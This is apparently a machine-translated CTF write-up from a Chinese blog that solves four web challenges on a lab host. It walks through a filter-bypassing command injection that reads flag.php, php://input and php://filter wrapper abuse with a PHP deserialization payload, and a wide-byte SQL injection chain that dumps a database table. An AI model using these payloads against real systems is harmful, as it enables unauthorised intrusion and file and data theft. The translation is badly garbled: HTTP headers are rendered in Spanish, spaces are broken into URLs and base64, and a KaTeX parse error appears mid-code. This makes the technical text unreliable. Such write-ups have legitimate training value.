Un subtotal ctf simple

0x01 Prefacio

Antes de cierta competencia de la "Copa Artesano" en las clasificatorias internas de cierto grupo, de todos modos, no había nada que hacer, así que simplemente miré las preguntas de la web e hice un registro simple.

Pregunta web 0x02

2.1 Ejecución de comandos

Inserte la descripción de la imagen aquí
1. Desde el punto de vista del paquete de datos, se puede adivinar que hay una ejecución de comando en ip. Hay un pequeño filtrado, pero el filtrado no está completo. Después de un intento, ip = 127.0.0.1 | ls & submit = PING puede tener éxito (suponga que el filtrado de código aquí es principalmente dvwa La ejecución del comando es la misma que ('|' => ''), porque hay un espacio extra después de él, puede abrirse paso)
Crear publicación y enviar ip = 127.0.0.1 | ls & submit = PING para ver flag.php
Inserte la descripción de la imagen aquí
2. Luego pasar ip = 127.0.0.1 | pwd & submit = PING y la ruta es / var / www / html
Inserte la descripción de la imagen aquí
3. Luego, léalo directamente, se encuentra que hay un filtro para espacios, payload: ip = 127.0.0.1 | cat $ IFS / var / www / html / flag.php & submit = PING puede obtener una bandera
Inserte la descripción de la imagen aquí

2.2 Deserialización

1. El acceso directo a la dirección dada puede ver una pista de código

you are not admin ! 
<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];

if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
    
    
    echo "hello admin!<br>";
    include($file); //class.php
}else{
    
    
    echo "you are not admin ! ";
}
 -->

2. A partir del código comentado, se puede ver que se deben pasar tres parámetros user, file, pass
y luego romper if (isset ( KaTeX parse error: Expected'EOF ', got' & 'at position 6: user) & ̲ & (file_get_cont ... Usuario, 'r') === “el usuario es administrador”)) En
otras palabras, la variable de usuario debe ser igual a que el usuario es administrador.
Según el comentario, la
variable de paso file = class.php se encuentra en el código solicitado No tiene mucho sentido, puedes ignorarlo
Inserte la descripción de la imagen aquí
por el momento. Primero, tengo que romper aquí. Pensé en el pseudoprotocolo php php: // input para
construir el paquete de datos de publicación de la siguiente manera
POST /?user=php://input&flie=class.php HTTP / 1.1
Host: 192.168.1.1: 56782
Cache-Control: max-age = 0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla / 5.0 (Windows NT 10.0; Win64; x64) AppleWebKit / 537.36 (KHTML, como Gecko) Chrome / 84.0.4147.105 Safari / 537.36
Aceptar: texto / html, aplicación / xhtml + xml, aplicación / xml; q = 0.9, imagen / webp, imagen / apng, /; q = 0,8, aplicación / intercambio firmado; v = b3; q = 0,9
Codificación de aceptación: gzip, deflate
Lenguaje de aceptación: zh-CN, zh; q = 0,9
Conexión: cerrar
Longitud de contenido: 17

El usuario es administrador y
Inserte la descripción de la imagen aquí
luego debe incluir class.php. Dado que la ubicación de class.php es desconocida, se usa otro protocolo de encapsulación de php: php: // filter puede leer cualquier archivo
usando este protocolo. Use método: php: //filter/convert.base64-encode/resource=index.php
aquí para convertir el contenido de index.php leído al formato base64
POST /? user = php: // input & file = php: // filter / convert. base64-encode / resource = class.php HTTP / 1.1
Host: 192.168.1.1:56782
Cache-Control: max-age = 0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla / 5.0 (Windows NT 10.0; Win64; x64 ) AppleWebKit / 537.36 (KHTML, como Gecko) Chrome / 84.0.4147.89 Safari / 537.36
Aceptar: texto / html, aplicación / xhtml + xml, aplicación / xml; q = 0.9, imagen / webp, imagen / apng, / ; q = 0,8, aplicación / intercambio con signo; v = b3; q = 0,9
Codificación de aceptación: gzip, deflate
Lenguaje de aceptación: zh-CN, zh; q = 0,9
Conexión: cerrar
Contenido-Longitud: 17

El usuario es admin
Inserte la descripción de la imagen aquí
PD9waHAKCmNsYXNzIFJlYWR7Ly9mMWFnLnBocAogICAgcHVibGljICRmaWxlOwogICAgcHVibGljIGZ1bmN0aW9uIF9fdG9TdHJpbmcoKXsKICAgICAgICBpZihpc3NldCgkdGhpcy0 + ZmlsZSkpewogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICJfX3RvU3RyaW5nIHdhcyBjYWxsZWQhIjsKICAgIH0KfQo / Pgo =
estrellas decodificación base 64 mediante un código

<?php

class Read{
    
    //f1ag.php
    public $file;
    public function __toString(){
    
    
        if(isset($this->file)){
    
    
            echo file_get_contents($this->file);
        }
        return "__toString was called!";
    }
}
?>

En base a esto, se puede construir un parámetro de deserialización. El paquete de datos específico es el siguiente
: POST /?user=php://input&file=class.php&pass=O:4:"Read":1:{s:4:"file";s: 57: "php: //filter/read=convert.base64-encode/resource=f1ag.php";} HTTP / 1.1
Host: 192.168.1.1:56782
Cache-Control: max-age = 0
Upgrade-Insecure-Requests: 1
Usuario-Agente: Mozilla / 5.0 (Windows NT 10.0; Win64; x64) AppleWebKit / 537.36 (KHTML, como Gecko) Chrome / 84.0.4147.89 Safari / 537.36
Aceptar: texto / html, aplicación / xhtml + xml, aplicación / xml; q = 0.9, imagen / webp, imagen / apng, / ; q = 0.8, aplicación / intercambio firmado; v = b3; q = 0.9
Aceptar-Codificar: gzip, desinflar
Aceptar-Idioma: zh-CN, zh; q = 0.9
Conexión: cerrar
Contenido-Longitud: 17

el usuario es administrador
Inserte la descripción de la imagen aquí
usa la decodificación base64 para obtener la bandera
Inserte la descripción de la imagen aquí

Secreto de 2.3 bytes

Descripción del título: la identificación del parámetro
Inserte la descripción de la imagen aquí
accedió directamente a sql1.php y descubrió que está distorsionada, más la identificación de la sugerencia dada por el título en sí, suponiendo que puede ser una inyección de byte ancho.
Inserte la descripción de la imagen aquí
Después de probarlo, se encontró que era una inyección de byte ancho

http://192.168.1.1:3036/sql1.php?id=%df'

Inserte la descripción de la imagen aquí
1. Explota la biblioteca

http://192.168.1.1:3036/sql1.php?id=%df%27%20union%20select%201,%20database()%23得出数据库pwnhubsql1

Inserte la descripción de la imagen aquí
2. Explosión

http://192.168.1.1:3036/sql1.php?id=%df%27union%20select%201,group_concat(table_name)from%20information_schema.tables%20where%20table_schema=database()%23两个表article,flag

Inserte la descripción de la imagen aquí
3. Suponga el campo de la tabla de explosión
en la tabla de banderas de acuerdo con el nombre de la tabla, aquí la bandera de la tabla se convierte a hexadecimal

http://192.168.1.1:3036/sql1.php?id=%df%27union%20select%201,group_concat(column_name)from%20information_schema.columns%20where%20table_name=0x666c6167%23爆出字段id,thisisflag

Inserte la descripción de la imagen aquí
4. Explota la bandera

http://192.168.1.1:3036/sql1.php?id=%df%27union%20select%201,hex(group_concat(thisisflag))%20from%20flag%23

Inserte la descripción de la imagen aquí
Decodifica esta cadena de números en hexadecimal para obtener la bandera
Inserte la descripción de la imagen aquí

2.4 Carga de archivos

Esta pregunta es más irónica
1. Solo sube una imagen, dijo que quería darme un give_me_flag.php y yo te daré la bandera.
Inserte la descripción de la imagen aquí
2. Así que cambié el nombre a give_me_flag.php para obtener la bandera.
Inserte la descripción de la imagen aquí

0x03 resumen

En general, las preguntas son relativamente simples, y no hay ninguna dificultad especial, solo hazlo por diversión, emmm, etc.

Supongo que te gusta

Origin blog.csdn.net/xiaoguaiii/article/details/107963005
Recomendado
Clasificación